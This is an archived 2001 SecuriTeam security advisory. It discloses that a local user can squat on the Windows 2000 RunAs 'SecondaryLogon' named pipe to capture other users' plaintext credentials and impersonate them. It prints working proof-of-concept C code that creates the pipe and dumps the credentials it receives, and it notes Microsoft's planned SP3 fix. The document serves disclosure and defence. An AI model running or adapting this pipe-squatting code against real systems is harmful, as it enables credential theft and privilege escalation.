

[EXPL] RunAs Service Pipe Authentication Failure (exploit code)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-11/0041.html>

From: support@securiteam.com

Date: 11/20/01

From: support@securiteam.com

To: list@securiteam.com

Subject: [EXPL] RunAs Service Pipe Authentication Failure (exploit code)

Message-Id: <20011120080512.8418E138BF@mail.der-keiler.de>

Date: Tue, 20 Nov 2001 09:05:12 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

RunAs Service Pipe Authentication Failure (exploit code)

SUMMARY

The Windows 2000 RunAs service allows a user to launch an application in a security context based upon a supplied set of credentials. If the service is ever in a stopped state, an arbitrary local user of the system has the ability to recover the RunAs service user's plaintext credentials.

Additionally, the user may also impersonate the credentials the clients of the RunAs service.

DETAILS

The Windows 2000 API CreateProcessWithLogonW leverages the RunAs service to authenticate and launch an application requested by the user, in a distinct security context, based on the credentials supplied.

Consequently, that API must send highly sensitive data to the RunAs service in order to launch that application. However, that API performs no server-side authenticity validation prior to sending the credentials.

If the RunAs service is ever in a stopped state, an arbitrary user may usurp its named pipe communication channel "\\.\pipe\secondarylogon". The

Securiteam: [EXPL] RunAs Service Pipe Authentication Failure (e

user's malicious application would then be capable of stealing credentials of the users of the RunAs service, because the credentials are sent in plaintext. Additionally, the application is capable of impersonating the clients' security context throughout the system in an effort to escalate privileges.

In light of issues such as these, Microsoft created the native API NtSecureConnectPort for sending highly sensitive data via the LPC subsystem. Unfortunately, there is no standard API, provided by Microsoft, for deterministically connecting to a pipe based on a supplied SID.

Exploit code:

```
// radix1112200101.c – Camisade – Team RADIX – 11-12-2001
//
// Camisade (www.camisade.com) is not responsible for the use or
// misuse of this proof of concept source code.

#define WIN32_LEAN_AND_MEAN
#define UNICODE
#define _UNICODE

#include <windows.h>
#include <tchar.h>
#include <stdio.h>

#define MAX_IN_BUF 0x1000
#define MAX_OUT_BUF 0x4
#define MAX_INST 0xA

#define SECONDARY_LOGON_PIPE _T("\\\\.\\pipe\\SecondaryLogon")

void main()
{
    HANDLE hPipe;

    hPipe = CreateNamedPipe(SECONDARY_LOGON_PIPE, PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_BYTE|PIPE_WAIT, MAX_INST, MAX_OUT_BUF, MAX_IN_BUF,
        NMPWAIT_USE_DEFAULT_WAIT, 0);

    if (hPipe == INVALID_HANDLE_VALUE)
    {
        printf("Can't create secondary logon pipe. Error %d\n",
            GetLastError());
        return;
    }

    printf("Created pipe and waiting for clients...\n");
    if (ConnectNamedPipe(hPipe, 0))
    {
        UCHAR InBuf[MAX_IN_BUF];
```

Securiteam: [EXPL] RunAs Service Pipe Authentication Failure (e

```
DWORD dwReadCount;

while (ReadFile(hPipe, InBuf, MAX_IN_BUF, &dwReadCount, 0))
{
    printf("Read %d bytes. (ASCII Dump)\n", dwReadCount);

    DWORD dwPos;
    for (dwPos = 0; dwPos < dwReadCount; dwPos++)
    {
        printf("%c ", InBuf[dwPos]);

        if ((dwPos % 16) == 0)
            printf("\n");
    }

    DWORD dwReply = ERROR_ACCESS_DENIED;
    DWORD dwWroteCount;
    WriteFile(hPipe, &dwReply, sizeof(DWORD), &dwWroteCount, 0);
}
DisconnectNamedPipe(hPipe);
CloseHandle(hPipe);
}
```

Vendor information:

Microsoft has decided to include the fix within service pack 3 (SP3).

According to Microsoft, "In February 2002, we will release Windows 2000 Service Pack 3 (SP3)".

<<http://www.microsoft.com/presspass/features/2001/oct01/10-03securityqa.asp>>
<http://www.microsoft.com/presspass/features/2001/oct01/10-03securityqa.asp>

ADDITIONAL INFORMATION

The information has been provided by <<mailto:research@camisade.com>> Team RADIX -- Camisade LLC.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

Securiteam: [EXPL] RunAs Service Pipe Authentication Failure (e

loss of business profits or special damages.

- **Previous message:** support@securiteam.com: "[NT] ActivePerl PerlIS.dll Remote Buffer Overflow Vulnerability"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)